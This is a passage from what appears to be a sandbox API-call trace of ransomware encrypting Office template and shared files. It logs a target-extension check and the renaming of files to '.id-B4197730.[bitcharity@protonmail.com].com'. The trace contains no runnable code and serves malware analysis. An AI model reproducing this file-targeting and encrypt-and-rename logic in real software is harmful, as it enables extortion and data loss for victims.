[0273.889] lstrlenW (lpString=".zip") returned 4 [0273.889] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.889] lstrlenW (lpString=".rar") returned 4 [0273.889] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.889] lstrlenW (lpString=".bz2") returned 4 [0273.889] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.889] lstrlenW (lpString=".7z") returned 3 [0273.889] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.889] lstrlenW (lpString=".dbf") returned 4 [0273.889] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.889] lstrlenW (lpString=".1cd") returned 4 [0273.889] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.890] lstrlenW (lpString=".jpg") returned 4 [0273.890] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.890] lstrlenW (lpString=".doc") returned 4 [0273.890] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString=".docx") returned 5 [0273.890] lstrcmpiW (lpString1=".docx", lpString2="3.XLT") returned -1 [0273.890] lstrlenW (lpString=".pdf") returned 4 [0273.890] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString=".xls") returned 4 [0273.890] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString=".xlsx") returned 5 [0273.890] lstrcmpiW (lpString1=".xlsx", lpString2="3.XLT") returned -1 [0273.890] lstrlenW (lpString=".ppt") returned 4 [0273.890] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.890] lstrlenW (lpString=".zip") returned 4 [0273.890] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.890] lstrlenW (lpString=".rar") returned 4 [0273.890] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString=".bz2") returned 4 [0273.890] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString=".7z") returned 3 [0273.890] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.890] lstrlenW (lpString=".dbf") returned 4 [0273.890] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.890] lstrlenW (lpString=".1cd") returned 4 [0273.890] lstrcmpiW (lpString1=".1cd", lpString2=".XLT") returned -1 [0273.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT") returned 62 [0273.891] lstrlenW (lpString=".jpg") returned 4 [0273.891] lstrcmpiW (lpString1=".jpg", lpString2=".XLT") returned -1 [0273.891] lstrcmpiW (lpString1=".XLT", lpString2=".com") returned 1 [0273.891] lstrlenW (lpString="ADR4.XLT") returned 8 [0273.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.891] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x279ff14 | out: lpFileSize=0x279ff14*=30208) returned 1 [0273.891] CloseHandle (hObject=0x1288) returned 1 [0273.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt")) returned 0x220 [0273.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0273.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1288 [0273.892] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.892] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.892] CloseHandle (hObject=0x1288) returned 1 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT") returned 62 [0273.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT") returned 62 [0273.892] lstrlenW (lpString=".doc") returned 4 [0273.892] lstrcmpiW (lpString1=".doc", lpString2=".XLT") returned -1 [0273.892] lstrlenW (lpString=".docx") returned 5 [0273.892] lstrcmpiW (lpString1=".docx", lpString2="4.XLT") returned -1 [0273.892] lstrlenW (lpString=".pdf") returned 4 [0273.892] lstrcmpiW (lpString1=".pdf", lpString2=".XLT") returned -1 [0273.892] lstrlenW (lpString=".xls") returned 4 [0273.893] lstrcmpiW (lpString1=".xls", lpString2=".XLT") returned -1 [0273.893] lstrlenW (lpString=".xlsx") returned 5 [0273.893] lstrcmpiW (lpString1=".xlsx", lpString2="4.XLT") returned -1 [0273.893] lstrlenW (lpString=".ppt") returned 4 [0273.893] lstrcmpiW (lpString1=".ppt", lpString2=".XLT") returned -1 [0273.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT") returned 62 [0273.893] lstrlenW (lpString=".zip") returned 4 [0273.893] lstrcmpiW (lpString1=".zip", lpString2=".XLT") returned 1 [0273.893] lstrlenW (lpString=".rar") returned 4 [0273.893] lstrcmpiW (lpString1=".rar", lpString2=".XLT") returned -1 [0273.893] lstrlenW (lpString=".bz2") returned 4 [0273.893] lstrcmpiW (lpString1=".bz2", lpString2=".XLT") returned -1 [0273.893] lstrlenW (lpString=".7z") returned 3 [0273.893] lstrcmpiW (lpString1=".7z", lpString2="XLT") returned -1 [0273.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT") returned 62 [0273.893] lstrlenW (lpString=".dbf") returned 4 [0273.893] lstrcmpiW (lpString1=".dbf", lpString2=".XLT") returned -1 [0273.893] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.894] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.894] CloseHandle (hObject=0x1288) returned 1 [0273.894] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.894] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.895] CloseHandle (hObject=0x1288) returned 1 [0273.895] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.895] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.895] CloseHandle (hObject=0x1288) returned 1 [0273.896] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.896] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.896] CloseHandle (hObject=0x1288) returned 1 [0273.897] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.897] SetFilePointerEx (in: hFile=0x1288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR9.XLT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr9.xlt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.897] CloseHandle (hObject=0x1288) returned 1 [0274.530] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.530] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryLetter.dotx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryletter.dotx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.530] CloseHandle (hObject=0x118c) returned 1 [0274.531] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.531] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.532] CloseHandle (hObject=0x118c) returned 1 [0274.532] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.532] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.533] CloseHandle (hObject=0x118c) returned 1 [0274.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\ADO210.CHM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\ado210.chm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0274.538] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.538] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\README.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\readme.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.538] CloseHandle (hObject=0x118c) returned 1 [0274.542] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.542] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as80.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as80.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.543] CloseHandle (hObject=0x118c) returned 1 [0274.544] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.544] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\as90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\as90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.544] CloseHandle (hObject=0x118c) returned 1 [0274.545] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.545] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\db2v0801.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\db2v0801.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.546] CloseHandle (hObject=0x118c) returned 1 [0274.546] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.546] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\informix.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\informix.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.547] CloseHandle (hObject=0x118c) returned 1 [0274.547] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.547] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\msjet.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\msjet.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.548] CloseHandle (hObject=0x118c) returned 1 [0274.548] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.549] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\orcl7.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\orcl7.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.549] CloseHandle (hObject=0x118c) returned 1 [0274.551] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.551] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql2000.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql2000.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.551] CloseHandle (hObject=0x118c) returned 1 [0274.552] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.552] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql70.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql70.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.552] CloseHandle (hObject=0x118c) returned 1 [0274.553] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.553] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sql90.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sql90.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.553] CloseHandle (hObject=0x118c) returned 1 [0274.554] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.554] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sqlpdw.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sqlpdw.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.554] CloseHandle (hObject=0x118c) returned 1 [0274.555] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.555] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\sybase.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\sybase.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.556] CloseHandle (hObject=0x118c) returned 1 [0274.556] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.556] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\trdtv2r41.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\trdtv2r41.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.557] CloseHandle (hObject=0x118c) returned 1 [0274.558] SetFilePointerEx (in: hFile=0x118c, 